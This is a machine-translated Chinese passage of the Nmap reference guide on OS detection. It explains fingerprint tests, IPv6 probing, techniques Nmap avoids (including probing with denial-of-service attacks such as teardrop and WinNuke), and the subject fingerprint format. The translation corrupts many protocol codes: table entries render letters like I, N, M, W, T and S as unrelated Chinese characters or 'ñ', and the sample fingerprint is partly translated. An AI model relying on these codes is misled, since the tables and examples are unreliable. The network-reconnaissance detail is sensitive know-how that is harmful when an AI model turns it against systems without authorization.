(中断增量)。 这发生在像 Microsoft Windows 这样的系统上,其中 IP ID 按主机字节顺序而不是网络字节顺序发送。它工作正常并且不违反任何形式的 RFC,尽管它确实泄露了可能对攻击者有用的主机架构细节。 -
如果所有差值都小于 10,则值为
I
(增量)。我们在这里允许最多十个差异(而不是要求顺序排序),因为来自其他主机的流量可能会导致顺序间隙。 -
如果前面的步骤都没有识别生成算法,则从指纹中省略测试。
共享 IP ID 序列布尔值 ( SS
)
此布尔值记录目标是否在 TCP 和 ICMP 协议之间共享其 IP ID 序列。如果我们的六个 TCP IP ID 值是 117、118、119、120、121 和 122,那么我们的 ICMP 结果是 123 和 124,很明显,不仅两个序列都是递增的,而且它们都是同一个序列的一部分. 另一方面,如果 TCP IP ID 值为 117–122,但 ICMP 值为 32,917 和 32,918,则使用了两个不同的序列。
II
仅当is RI
、BI
或I
和相同时才包含此测试TI
。如果SS
包含,则结果是S
序列是否共享,O
(其他)如果不是。该确定由以下算法做出:
让avg
最终的 TCP 序列响应 IP ID 减去第一个 TCP 序列响应 IP ID,除以探测数的差值。如果探测器 #1 返回的 IP ID 为 10,000,而探测器 #6 返回 20,000,avg
则为 (20,000 - 10,000) / (6 - 1),等于 2,000。
如果第一个 ICMP 回显响应 IP ID 小于最后一个 TCP 序列响应 IP ID 加三倍avg
,则 SS
结果为S
。否则就是 O
。
TCP 时间戳选项算法 ( TS
)
TS
是另一个尝试 根据生成一系列数字的方式确定目标操作系统特征。这个查看响应SEQ
探测的 TCP 时间戳选项(如果有)。它检查 TSval(选项的前四个字节)而不是回显的 TSecr(最后四个字节)值。它取每个连续 TSval 之间的差值,然后除以 Nmap 发送产生这些响应的两个探针之间经过的时间量。结果值给出了每秒时间戳增量的速率。Nmap 计算所有连续探测每秒的平均增量,然后计算TS
如下:
-
如果任何响应没有时间戳选项,
TS
则设置为U
(不支持)。 -
如果任何时间戳值为零,
TS
则设置为0
。 -
如果每秒的平均增量在、 或 、范围内
0-5.66
,则分别设置为 1、7 或 8。这三个范围得到特殊处理,因为它们对应于许多主机使用的 2 Hz、100 Hz 和 200 Hz 频率。70-150
150-350
TS
-
在所有其他情况下,Nmap 记录每秒平均增量的二进制对数,四舍五入到最接近的整数。由于大多数主机使用 1,000 Hz 频率,
A
这是一个常见的结果。
TCP 选项 ( O
, O1–O6
)
此测试记录数据包中的 TCP 标头选项。它保留了原始顺序,还提供了一些关于选项值的信息。因为RFC 793不需要任何特定的排序,所以实现通常会提供唯一的排序。一些平台没有实现所有选项(当然,它们是可选的)。当您将所有这些排列与实现使用的不同选项值的数量相结合时,此测试提供了一个名副其实的信息宝库。此测试的值是表示正在使用的选项的字符串。几个选项采用紧跟在字符之后的参数。支持的选项和参数都显示在表 8.1中。
O
测试值选项名称 | 特点 | 参数(如果有) |
---|---|---|
选项列表结束 (EOL) | 一世 | |
无操作 (NOP) | ñ | |
最大段大小 (MSS) | 米 | 该值已附加。许多系统会回显相应探测中使用的值。 |
窗口刻度 (WS) | 在 | 附加实际值。 |
时间戳 (TS) | 吨 | T 后跟两个二进制字符,分别代表 TSval 和 TSecr 值。如果字段为零,则字符为 0,否则为 1。 |
允许选择性 ACK (SACK) | 小号 |
例如,字符串M5B4NW3NNT11
表示数据包包含 MSS 选项(值 0x5B4),后跟 NOP。接下来是一个窗口比例选项,其值为 3,然后是两个 NOP。最后一个选项是时间戳,它的两个字段都不为零。如果响应中没有 TCP 选项,则测试将存在,但值字符串将为空。如果没有返回探针,则省略测试。
虽然这个测试通常被命名为O
,但为序列生成目的发送的六个探针是一个特例。这些被插入到特殊的OPS
测试行中,并通过名称O1
来O6
区分它们与哪个探测包相关。“ ”O
代表“选项”。_ 尽管名称不同,但每个测试O1
通过O6
的处理方式与其他测试完全相同O
。
TCP 初始窗口大小 ( W
, W1
– W6
)
该测试仅记录接收数据包的 16 位 TCP 窗口大小。它非常有效,因为已知至少有一个操作系统可以发送超过 80 个值。不利的一面是,一些操作系统本身就有十几个可能的值。这会导致假阴性结果,直到我们收集操作系统使用的所有可能的窗口大小。
虽然这个测试通常被命名为W
,但为序列生成目的发送的六个探针是一个特例。这些被插入到一个特殊的WIN
测试行中,并 W1
通过W6
. 记录所有序列号探测的窗口大小,因为它们的 TCPMSS
选项值不同,这会导致某些操作系统通告不同的窗口大小。尽管名称不同,但每个测试的处理方式完全相同。
响应性 ( R
)
该测试仅记录目标是否响应给定的探测。可能的值为Y
和N
。如果没有回复,则省略测试的剩余字段。
此测试的风险涉及被防火墙丢弃的探针。这导致R=N
对象指纹。然而,如果目标操作系统通常回复,则nmap-os-db
可能有参考指纹 。R=Y
因此,防火墙可能会阻止正确的操作系统检测。R=Y
为了减少这个问题,参考指纹通常会从IE
和 探针中省略测试,这些测试U1
最有可能被丢弃。此外,如果 Nmap 缺少目标的封闭 TCP 端口, 即使它尝试的端口没有响应,它也不会R=N
为T5
、T6
或测试设置。T7
毕竟,缺少封闭端口可能是因为它们都被过滤了。
IP 不分段位 ( DF
)
IP 标头包含一个位,该位禁止路由器对数据包进行分段。如果数据包太大而路由器无法处理,他们将不得不丢弃它(理想情况下返回 “目标不可达,需要分段” 响应)。该测试记录Y
该位是否已设置,N
如果未设置。
不分段 (ICMP) ( DFI
)
这只是DF
用于特殊IE
探针的测试的修改版本。它比较发送的两个 ICMP 回显请求探测的不分段位的结果。它有四个可能的值,在表 8.2中列举。
DFI
测试值价值 | 描述 |
---|---|
ñ | 两个 ping 响应都没有设置 DF 位。 |
小号 | 两种响应都与探头的 DF 值相呼应。 |
和 | 两个响应 DF 位都被置位。 |
○ | 剩下的另一个组合——两个响应都切换了 DF 位。 |
IP 初始生存时间 ( T
)
IP 数据包包含一个名为生存时间 (TTL) 的字段,每次经过路由器时该字段都会递减。如果该字段达到零,则必须丢弃该数据包。这可以防止数据包无休止地循环。因为操作系统在它们开始的 TTL 上有所不同,所以它可以用于操作系统检测。Nmap 通过检查对探测的 ICMP 端口不可达响应来确定它距离目标的跳数 U1
。该响应包括目标接收到的原始 IP 数据包,包括已经递减的 TTL 字段。通过从我们发送的 TTL 中减去该值,我们可以了解机器的跳数。Nmap 然后添加该跳跃距离 到探测响应 TTL 以确定发送 ICMP 探测响应数据包时的初始 TTL。该初始 TTL 值作为T
结果存储在指纹中。
尽管像 TTL 这样的 8 位字段永远不能保存大于 0xFF 的值,但此测试偶尔会导致 0x100 或更高的值。当系统(可能是源、目标或介于两者之间的系统)损坏或无法正确减少 TTL 时,就会发生这种情况。它也可能由于不对称的路线而发生。
Nmap 还可以在跳距为零(本地主机扫描)或一(在同一网段上)时从系统接口和路由表中学习。Nmap 为用户打印跳跃距离时使用此值,但不用于T
结果计算。
IP 初始生存时间猜测 ( TG
)
Nmap 没有收到对 U1
探测的响应的情况并不少见,这会阻止 Nmap 了解目标距离的跳数。防火墙和 NAT 设备喜欢阻止未经请求的 UDP 数据包。但由于常见的 TTL 值分散得很好,而且目标距离很少超过 20 跳,所以 Nmap 无论如何都可以做出很好的猜测。大多数系统发送初始 TTL 为 32、60、64、128 或 255 的数据包。因此,响应中收到的 TTL 值向上舍入为 32、64、128 或 255 中的下一个值。60 不在该列表是因为无法可靠地将其与 64 区分开来。无论如何,它很少见。结果猜测存储在 TG
字段中。如果发现了实际的 TTL ( T
) 值,则不会在主题指纹中打印此 TTL 猜测字段。
显式拥塞通知 ( CC
)
此测试仅用于ECN
探针。该探测是一个包含 CWR 和 ECE 拥塞控制标志的 SYN 数据包。当接收到响应 SYN/ACK 时,检查这些标志以设置CC
(拥塞控制)测试值,如表 8.3中所述。
CC
测试值价值 | 描述 |
---|---|
和 | 仅设置了 ECE 位(不是 CWR)。此主机支持 ECN。 |
ñ | 这两位均未设置。目标不支持 ECN。 |
小号 | 两个位都被设置。目标不支持 ECN,但它回显了它认为是保留位的内容。 |
○ | 这两位的剩余组合(其他)。 |
TCP 杂项怪癖 ( Q
)
这测试了一些实现在其 TCP 堆栈中的两个怪癖。第一个是 TCP 标头中的保留字段(就在标头长度之后)是非零的。这特别有可能在响应ECN
测试时发生,因为在探针中设置了一个保留位。如果在数据包中看到这一点,则在字符串中记录一个“ R ” 。Q
Nmap 测试的另一个怪癖是在未设置 URG 标志时的非零紧急指针字段值。这也特别有可能在响应ECN
设置非零紧急字段的探测时被看到。 看到这个时,字符串会附加一个“ U ” 。Q
该Q
字符串必须始终按字母顺序生成。如果不存在怪癖,则Q
测试为空但仍显示。
TCP 序列号 ( S
)
此测试检查 TCP 中的 32 位序列号字段 标题。与其他测试一样记录字段值,此测试检查它如何与来自引发响应的探针的 TCP 确认号进行比较。然后它记录适当的值,如表 8.4所示。
S
测试值价值 | 描述 |
---|---|
和 | 序号为零。 |
一种 | 序列号与探测中的确认号相同。 |
一个+ | 序列号与探测中的确认号加一相同。 |
○ | 序列号是别的东西(其他)。 |
TCP 确认号 ( A
)
S
除了测试响应中的确认号与相应探测中的序列号如何比较之外,此测试与此测试相同。表 8.5中给出了四个可能的值。
A
测试值价值 | 描述 |
---|---|
和 | 确认号为零。 |
小号 | 确认号与探测中的序列号相同。 |
S+ | 确认号与探测中的序列号加一相同。 |
○ | 确认号是别的东西(其他)。 |
TCP 标志 ( F
)
该字段记录响应中的 TCP 标志。每个字母代表一个标志,它们的出现顺序与 TCP 数据包中的顺序相同(从左侧的高位到低位)。所以该值AS
表示设置的 ACK 和 SYN 位,而该值SA
是非法的(错误的顺序)。可能的标志如表 8.6所示。
F
测试值特点 | 标志名称 | 标志字节值 |
---|---|---|
和 | ECN 回声 (ECE) | 64 |
ü | 紧急数据 (URG) | 32 |
一种 | 确认 (ACK) | 16 |
磷 | 推(PSH) | 8 |
R | 复位 (RST) | 4 |
小号 | 同步 (SYN) | 2 |
F | 结束(结束) | 1 |
TCP RST 数据校验和 ( RD
)
某些操作系统会返回 ASCII 数据,例如复位数据包中的错误消息。RFC 1122的第 4.2.2.12 节明确允许这样做 。当 Nmap 遇到此类数据时,它会执行 CRC32 校验和并报告结果。当没有数据时,RD
设置为零。少数几个可能在其重置数据包中返回数据的操作系统包括 HP-UX 和 Mac OS X 之前的 Mac OS 版本。
IP总长度(IPL
)
此测试记录 IP 数据包的总长度(以八位字节为单位)。它仅用于 U1
测试引发的端口不可达响应。该长度因实现而异,因为只要满足最低RFC 1122要求,他们就可以从原始探测中选择要包含多少数据。该要求是包括原始 IP 标头和至少 8 个字节的数据。
未使用的端口不可达字段非零 ( UN
)
一个 ICMP 端口不可达消息头有 8 个字节长,但只使用前 4 个字节。RFC 792 规定最后四个字节必须为零。一些实现(主要是以太网交换机和一些专门的嵌入式设备)无论如何都会设置它。最后四个字节的值记录在此字段中。
返回的探测 IP 总长度值 ( RIPL
)
ICMP 端口不可达消息(作为对探测的响应而发送 U1
)需要包含生成它们的 IP 标头。这个标头应该在他们收到它时返回,但是由于在 IP 处理期间所做的更改,某些实现会发回一个损坏的版本。该测试仅记录返回的 IP 总长度值。如果返回正确的值 0x148 (328),G
则存储该值(为好)而不是实际值。
返回的探测 IP ID 值 ( RID
)
探测器的U1
静态 IP ID 值为 0x1042。如果该值在端口不可达消息中返回,G
则存储该值以用于此测试。否则将存储返回的确切值。某些系统(例如 Solaris)会为 Nmap 发送的原始 IP 数据包处理 IP ID 值。在这种情况下,将跳过此测试。我们发现某些系统,尤其是 HP 和 Xerox 打印机,会翻转字节并返回 0x4210。
返回的探测 IP 校验和值的完整性 ( RIPCK
)
IP 校验和是我们不知道的一个值 期望在端口不可达消息中返回时保持不变。毕竟,传输过程中的每个网络跃点都会随着 TTL 的递减而改变校验和。但是,我们收到的校验和应该与封闭的 IP 数据包相匹配。如果是,G
则为该测试存储值 (good)。如果返回值为零,则Z
存储。否则结果为I
(无效)。
返回的探测 UDP 校验和的完整性 ( RUCK
)
UDP 标头校验和值应与发送时完全相同。如果是,G
则记录此测试。否则记录实际返回的值。
返回的 UDP 数据的完整性 ( RUD
)
此测试检查(可能被截断的)返回的 UDP 有效负载的完整性。如果所有有效载荷字节都是预期的“C”(0x43),或者如果有效载荷被截断为零长度, G
则记录;否则,I
记录(无效)。
ICMP 响应代码 ( CD
)
ICMP 回显应答(类型为零)数据包的代码值应该为零。但是某些实现错误地发送了其他值,特别是如果回显请求具有非零代码(就像其中一个IE
测试一样)。两个探测器的响应代码值组合成一个CD
值,如表 8.7中所述。
CD
测试值价值 | 描述 |
---|---|
和 | 两个代码值都为零。 |
小号 | 两个代码值与相应探针中的相同。 |
<NN> |
当它们都使用相同的非零数字时,将在此处显示。 |
○ | 任何其他组合。 |
IPv6 指纹识别(机翻)
Nmap 有一个类似但独立的操作系统检测引擎,专门用于 IPv6。在高层次上,该技术是相同的:发送探测、收集响应并将响应集与数据库进行匹配。不同之处在于所使用的特定探针以及它们的匹配方式。
IPv6 操作系统检测与 IPv4 一样使用。只需将 -6
和-O
选项一起使用。例如, nmap -6 -O<target>
。
已发送探测
IPv6 操作系统检测使用许多与 IPv4 操作系统检测相同的探测。区分操作系统的大部分能力来自 TCP 等更高层协议,尽管有一些新的 IPv6 特定检测功能。
在所有情况下,IPv6 流标签都是 0x12345,在允许我们设置它的平台上。在不这样做的平台上(包括不使用以太网发送时的非 Linux Unix 平台),流标签将为 0。因为这会影响响应,所以流标签的值记录在EXTRA
OS 指纹字段中。除了NS
探测,跳跃限制是随机设置的。
总共可以发送多达 18 个探测。它们按以下顺序发送。
序列生成 ( S1
- S6
)
T1
这些是与IPv4 检测中发送的探测集合 相同的六个探测。 有关数据包内容的文档,请参阅名为“序列生成(、、、SEQ
和)”的部分。OPS
WIN
T1
这六个探针以 100 ms 的间隔发送以进行定时测量。
如果目标缺少开放端口,则跳过 S1
-探测。S6
ICMPv6 回显 ( IE1
)
这或多或少是一个普通的 ICMPv6 回显请求。类型为 128(Echo Request),代码为 9,但应该为 0。ICMPv6 ID 为 0xabcd,序列号为 0。数据负载为 120 个零字节。有一个仅包含填充的 Hop-By-Hop 扩展标头。
ICMPv6 回显 ( IE2
)
这是一个回显请求,类型为 128(Echo Request),代码为 0。ICMPv6 ID 为 0xabcd,序列为 1。没有数据负载。
使这个探测有趣的是它包含的错误扩展标头。总共有四个,按以下顺序:
逐跳 |
目的地选项 |
路由 |
逐跳 |
这些标头是错误的:除 Destination Options 之外的标头不应出现多次,并且逐跳选项仅应出现在第一个位置。在我们的测试中,没有操作系统将此视为合法的回显请求。但是,它们确实会以不同的 ICMPv6 错误进行响应。
节点信息查询(NI
)
RFC 4620 定义了称为节点信息查询的 ICMPv6 消息,允许向目标询问其主机名、IPv4 地址和 IPv6 地址。该NI
探测的类型为 139(ICMP 节点信息查询)和代码 0(表示主题是 IPv6 地址)。qtype 为 4(IPv4 地址)。设置了 A 标志(返回所有单播地址)标志,没有其他标志。随机数设置为固定字符串“\x01\x02\x03\x04\x05\x06\x07\x0a”。
尽管被要求提供 IPv4 地址,但某些操作系统会返回 DNS 名称。
邻居招揽 ( NS
)
探测器发送一个邻居请求查询,就好像在NS
询问目标的硬件地址。类型为 135,代码为 0。跳数限制始终设置为 255,无论 --ttl
; 的设置如何。RFC 2461 禁止主机以其他方式回复。所有标志都设置为 0。
此探测仅发送到同一子网上的主机。
UDP ( U1
)
一个 UDP 数据包被发送到一个关闭的端口(如果可用)。数据有效负载设置为 300 'C' (0x43) 字节。此探测旨在引发 ICMPv6 Port Unreachable 消息。
TCP 显式拥塞通知 ( TECN
)
ECN
这与来自 IPv4 的探测 相同。它是一个到一个开放端口的 SYN 数据包,它还设置了 ECE 和 CWR 标志。即使未设置紧急标志,也会使用紧急字段值 0xF7F5。确认号为零,序列号为随机,窗口大小字段为三。TCP 选项是 WScale (10)、NOP、MSS (1460)、SACK allowed、NOP、NOP。
TCP ( T2
- T7
)
这些对应于来自 IPv4 检测的 T2
-T7
探测,在名为“TCP ( T2
- T7
)”的部分中进行了描述。编号从 2 而不是 1 开始,因为这六个测序探针在 IPv4 中统称为“ T1
”(对于 IPv6,它们被重命名为S1
– S6
)。
特征提取
收到响应后,会从中提取各种数据。在机器学习文献中,这些数据被称为 “特征”。功能示例包括:IPv6 跃点限制、ICMPv6 类型和代码以及第一个 TCP 选项的代码。(在 Nmap 的术语中,它们分别称为IPV6_HOPLIMIT
、 ICMPV6_TYPE
和TCP_OPT_0
。)有些特征是直接从响应数据包中提取的,有些是对多个数据包进行计算的结果(如TCP_ISR
TCP 初始序列号计数器速率)。
任何无法确定其值的特征(例如,从未收到的响应中的特征)都设置为 -1。这些特征被放入一个大的一维特征向量中。然后使用从我们的训练数据估计的比例参数对每个进行缩放和转换,使其大致进入范围 [0, 1]。
所有功能的列表
TCP_ISR
-
TCP ISN 计数器速率。这是从相隔 100 毫秒发送的
S1
序列S6
探测中得出的。将连续序列响应之间的差异相加,然后将该总和除以第一次和最后一次探测之间经过的时间。
每个响应都会重复以下功能,例如,完全限定的功能名称可能是S1.PLEN
.
PLEN
-
IPv6 有效负载长度字段
TC
-
IPv6 流量类别字段
HLIM
-
对 IPv6 Hop Limit 字段原始值的猜测
对于每个 TCP 响应,都会重复以下功能。完整的功能名称可能是T2.TCP_WINDOW
.
TCP_WINDOW
-
TCP 窗口大小
TCP_FLAG_F
,TCP_FLAG_S
,TCP_FLAG_R
,TCP_FLAG_P
,TCP_FLAG_A
,TCP_FLAG_U
,TCP_FLAG_E
,TCP_FLAG_C
-
TCP 标志。每个标志都成为一个值为 0 或 1 的特征。
TCP_FLAG_RES8
,TCP_FLAG_RES9
,TCP_FLAG_RES10
,TCP_FLAG_RES11
-
这些是 TCP 标头的保留部分的四位。RFC 3540 定义
TCP_FLAG_RES8
为随机数和 (NS) 位。 TCP_OPT_0
,<...>
,TCP_OPT_16
-
前 16 个 TCP 选项的类型代码。
TCP_OPTLEN_0
,<...>
,TCP_OPTLEN_16
-
前 16 个 TCP 选项的长度。
TCP_MSS
-
第一个 MSS 选项的值(如果存在)。
TCP_SACKOK
-
如果存在允许 SACK 的选项,则为 1,否则为 0。
TCP_WSCALE
-
第一个窗口比例选项的值(如果存在)。
与 IPv4 的区别
IPv6 指纹看起来与 IPv4 指纹有些不同。它们不是数据包功能的细分列表,而是包含数据包内容的十六进制转储以及发送和接收时间。有关详细信息,请参阅 名为“了解 Nmap 指纹”的部分。
IPv6 匹配算法完全不同。它使用一种称为逻辑回归的机器学习算法,而不是与指纹列表进行简单比较。 名为“IPv6 匹配”的部分对算法进行了描述。
Nmap 避免的指纹识别方法(机翻)
Nmap 支持比任何其他程序更多的操作系统检测技术,我们总是有兴趣听到新的想法。请将它们发送到 Nmap 开发列表 ( nmap-dev ) 进行讨论。 但是,有些方法并不适合。本节详细介绍了一些最有趣的部分。虽然 Nmap 不支持它们,但其中一些与 Nmap 结合使用可用于验证结果或了解更多详细信息。
被动指纹
被动指纹 使用与 Nmap 执行的主动指纹识别技术相同的大部分技术。不同之处在于,被动系统只是嗅探网络,在观察主机流量时机会主义地对主机进行分类。这比主动指纹识别更困难,因为您必须接受发生的任何通信,而不是设计自己的自定义探针。这是一项有价值的技术,但不属于 Nmap 等基本活跃的工具。幸运的是,米哈尔·扎莱夫斯基 编写了出色的p0f被动操作系统指纹识别工具。他还设计了几个当前的 Nmap OS 指纹测试。另一个选择是 GomoR的 SinFP, 它支持主动和被动指纹识别。
利用年表
TCP/IP 指纹识别可以很好地区分不同的操作系统,但检测同一操作系统的不同版本可能会很麻烦。公司必须以某种我们可以区分的方式改变他们的堆栈。幸运的是,许多操作系统供应商会定期更新其系统以符合最新标准。但是那些不这样做的人呢?他们中的大多数人至少最终会解决可利用的堆栈错误。这些修复很容易远程检测到。首先发送漏洞攻击载荷,无论是陆地攻击、泪滴、死亡之ping、SYN洪水还是WinNuke。一次发送一个攻击,然后立即尝试再次联系系统。如果它突然无响应,则您已将操作系统范围缩小到未附带此修复程序的版本。
重传次数
TCP 实现在重新传输数据包之前等待的确切时间有很大的余地。概念验证工具 Ring 和 Cron-OS 可用于利用这一点。他们向一个开放端口发送一个 SYN 数据包,然后忽略他们收到的 SYN/ACK,而不是用 ACK(完成连接)或 RST(杀死它)来确认它。目标主机将多次重新发送 SYN/ACK,这些工具会跟踪等待的每一亚秒。虽然确实可以从这项技术中收集到一些信息,但我没有将补丁合并到 Nmap 中有几个原因:
-
它通常需要修改源主机防火墙规则,以防止您的系统使用 RST 数据包回复它收到的 SYN/ACK。以便携的方式很难做到这一点。即使这很容易,许多用户也不喜欢应用程序违反他们的防火墙规则。
-
它可能非常缓慢。重传可以持续几分钟。等待一个最初并没有提供那么多信息的测试需要很长时间。
-
它可能不准确,因为数据包丢失和延迟(您在现实环境中必须预料到)可能会导致虚假结果。
我在这里列举了这些原因,因为它们也适用于其他一些提议的操作系统检测方法。我很想添加新的测试,但它们必须很快并且需要很少的数据包。混用主机防火墙是不可接受的。我尽量避免为堆栈指纹建立完整的 TCP 连接,尽管这是作为版本扫描系统的一部分的操作系统检测。
IP分片
IP 分片是一个复杂的系统,其实现是 充满了错误和不一致。可能的测试可以检查重叠片段的组装方式或碎片整理超时时间。Nmap 可以避免这些测试,因为许多防火墙和其他内联设备会在网关处对流量进行碎片整理。因此,Nmap 最终可能会指纹识别防火墙而不是真正的目标主机。此外,在某些操作系统上很难发送片段。Linux 2.6 内核倾向于将您尝试发送的片段排队并在传输之前自行组装它们。
开放端口模式
目标主机操作系统通常可以通过查看打开的端口来猜测。Microsoft Windows 机器通常打开 TCP 端口 135 和 139。Windows 2000 和更新版本也监听端口 445。同时,在端口 22 (ssh) 和 631 (Internet 打印协议) 上运行服务的机器很可能在运行 Unix。
虽然这种启发式方法通常很有用,但它对于 Nmap 来说还不够可靠。端口组合可能会被防火墙规则掩盖,大多数主流协议都可以在多个平台上使用。OpenSSH 服务器可以在 Windows 上运行,并且“ Windows SMB ”端口可以由运行在 Unix 机器上的Samba提供服务。端口转发使问题更加模糊。似乎运行 Microsoft IIS 的机器可能是 Unix 防火墙,它只是将端口 80 转发到 Windows 机器。
由于这些原因,Nmap 在 TCP/IP 堆栈指纹识别期间不考虑开放端口号。但是,Nmap 可以使用版本检测信息(参见第 7 章,服务和应用程序版本检测)来分别发现操作系统和设备类型信息。通过将操作系统检测和版本检测发现的操作系统检测结果分开,Nmap 可以优雅地处理使用 TCP 端口转发到 Windows Web 服务器的 Checkpoint 防火墙。堆栈指纹结果应为“ Checkpoint Firewall-1 ”而版本检测应该表明操作系统是 Windows。请记住,只有一小部分版本检测签名包含操作系统和设备类型信息——我们只能在应用程序泄露信息或仅在一种操作系统或设备类型上运行时填充这些字段。
退休测试
有一些测试曾经由 Nmap 执行,但由于发现它们对区分操作系统没有帮助,并且只占用数据库中的空间而被淘汰。中的两个测试 IE
行被删除: DLI
检查返回数据包中数据有效载荷的长度,并 SI
检查 ICMP 序列号。从未发现它们与发送的值不同。在里面 U1
线 RUL
测试检查返回的UDP数据包的长度。这与 1,700 多个案例中仅发送一个案例不同。这些测试于 2009 年 3 月被删除。
其他测试因为过于 歧视而被删除;它们会导致测量错误的差异,从而损害检测精度。这两者都与 TOS 有关 (服务类型)响应中的字段。 TOS
这样做是为了U1
探测和 TOSI
这样做是为了IE
。尽管操作系统之间的测试值确实存在差异,但由于 TOS 被中间主机修改,经常会记录错误的差异。2008 年 10 月取消这些测试后,总体上取得了更好的结果。
了解 Nmap 指纹
当 Nmap 在内存中存储指纹时,Nmap 使用数据结构中的属性和值树,用户甚至不需要知道。但是还有一个特殊的 ASCII 编码版本,当机器无法识别时,Nmap 可以为用户打印。每次 Nmap 运行(启用操作系统检测)时,也会从 nmap-os-db
数据库。指纹格式是人类理解和简洁之间的折衷。该格式非常简洁,以至于对于许多没有经验的用户来说,它看起来像是线路噪音,但阅读此文档的人应该能够轻松破译指纹。实际上有两种类型的指纹,尽管它们具有相同的一般结构。Nmap读入的已知操作系统的指纹称为 参考指纹,而Nmap扫描系统后显示的指纹是 主体指纹。. 参考指纹有点复杂,因为可以通过为不太可靠的测试添加余地(或省略)同时只允许其他测试使用单个可能值来定制它们以匹配整个操作系统类别。参考指纹还具有操作系统详细信息和分类。由于主题测试更简单,我们首先描述它们。
解码主题指纹格式
如果 Nmap 在主机上执行 OS 指纹识别,尽管有希望的条件(例如找到目标上可访问的打开和关闭端口),但仍未获得完美的 OS 匹配,则 Nmap 会打印一个主题指纹,显示 Nmap 认为的所有测试结果相关,然后要求用户将数据提交给 Nmap.Org。当 Nmap 没有有用的结果时,测试不会显示,例如当没有收到相关的探测响应时。一条特殊的线路名为 SCAN
提供有关扫描的额外详细信息(例如 Nmap 版本号),为将指纹提交集成到nmap-os-db
. 示例 8.3显示了一个典型的主题指纹。
OS:SCAN(V=5.05BETA1%D=8/23%OT=22%CT=1%CU=42341%PV=N%DS=0%DC=L%G=Y%TM=4A91CB 操作系统:90% P = i686-pc-linux-gnu) SEQ (SP = C9% GCD = 1% ISR = CF% TI = Z% CI = Z% II = I% TS = A) OPS (O1 操作系统:=M400CST11NW5%O2=M400CST11NW5%O3=M400CNNT11NW5%O4=M400CST11NW5%O5=M400CS 操作系统:T11NW5%O6=M400CST11)WIN(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000) 操作系统:ECN(R=Y%DF=Y%T=40%W=8018%O=M400CNNSNW5%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A =S+ 操作系统:%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=8000%S=O%A=S+%F=AS% O=M400CST11NW 操作系统:5%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q= )T5(R=Y%DF=Y%T=40%W 操作系统:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A =Z%F=R%O=%RD=0%Q=) 操作系统:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF= N%T=40%IPL=164%U 操作系统:N=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
现在你可以看看这个指纹并立即理解一切的含义。如果是这样,您可以直接跳过本节。但我从未见过这样的反应。许多人可能认为某种缓冲区溢出或未终止的字符串错误导致 Nmap 向他们吐出垃圾数据。本节帮助您解码信息,以便您可以立即判断盲 TCP 序列预测 对这台机器的攻击难度适中,但它可能会成为一个很好的空闲扫描 ( -sI
) 僵尸。 理解这个指纹的第一步是修复换行。测试全部压缩在一起,每行包含 71 个字符。然后 OS:
添加到每一行,将长度增加到 74 个字符。这使得指纹很容易剪切并粘贴到 Nmap 指纹提交表单中(请参阅“当 Nmap 无法找到匹配并打印指纹时”一节)。删除前缀并修复自动换行(每行应以右括号结尾)导致示例 8.4中的清理版本。
扫描(V=5.05BETA1%D=8/23%OT=22%CT=1%CU=42341%PV=N%DS=0%DC=L%G=Y%TM=4A91CB90% P=i686-pc-linux-gnu) 序列(SP=C9%GCD=1%ISR=CF%TI=Z%CI=Z%II=I%TS=A) OPS(O1=M400CST11NW5%O2=M400CST11NW5%O3=M400CNNT11NW5% O4=M400CST11NW5%O5=M400CST11NW5%O6=M400CST11) 获胜(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000) ECN(R=Y%DF=Y%T=40%W=8018%O=M400CNNSNW5%CC=N%Q=) T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=Y%DF=Y%T=40%W=8000%S=O%A=S+%F=AS%O=M400CST11NW5%RD=0%Q=) T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G) IE (R = Y% DFI = N% T = 40% CD = S)
虽然这仍然不是世界上最直观的格式(我们必须保持简短),但现在格式更加清晰。每一行都是一个类别,例如SEQ
序列生成测试、T3
特定 TCP 探测的结果以及IE
与两个 ICMP 回显探测相关的测试。
每个测试名称后面是一对括号,其中包含各个测试的结果。测试采用格式 。“Nmap 支持的 TCP/IP 指纹识别方法”一节中描述了所有可能的类别、测试和值 。每对测试由百分比符号 (%) 分隔。测试值可以为空,导致紧跟在等号之后的百分比符号或类别终止右括号。我们示例中 的字符串“ ”显示了其中两个空测试。空白测试值必须匹配另一个空白值,因此这个空的 TCP 怪癖值不会匹配 设置为的指纹。<testname>
=<value>
O=%RD=0%Q=)
T4
Q
Q
RU
在某些情况下,缺少整个测试而不仅仅是它的值。例如,T2
我们的样本指纹没有W
(TCP 窗口)、S
(序列号)、 A
(确认号)、T
(TTL)或TG
(TTL 猜测)测试。这是因为它确实包含的一个测试和值 R=N
, 意味着没有为 T2
探测返回任何响应。因此,包括窗口值或序列号将毫无意义。同样,在运行 Nmap 的系统上不支持的测试也会被跳过。一个例子是 RID
(ICMP 数据包中返回的 IP ID 字段)测试,它在 Solaris 上不能很好地工作,因为该系统倾向于破坏ID
Nmap 发出的字段。 不确定的测试(例如未能检测到 、 和 测试的 IP ID 序列 TI
)CI
也II
将被省略。
解码SCAN
对象指纹的线条
该SCAN
行是主题指纹中的一种特殊情况。这些测试不是描述目标系统,而是描述扫描的各种条件。这些帮助我们整合提交给 Nmap.Org 的指纹。此行中的测试是:
-
Nmap 版本号 (
V
)。 -
扫描日期 (
D
),格式为月/日。 -
用于扫描的打开和关闭的 TCP 端口(在目标上)(
OT
和CT
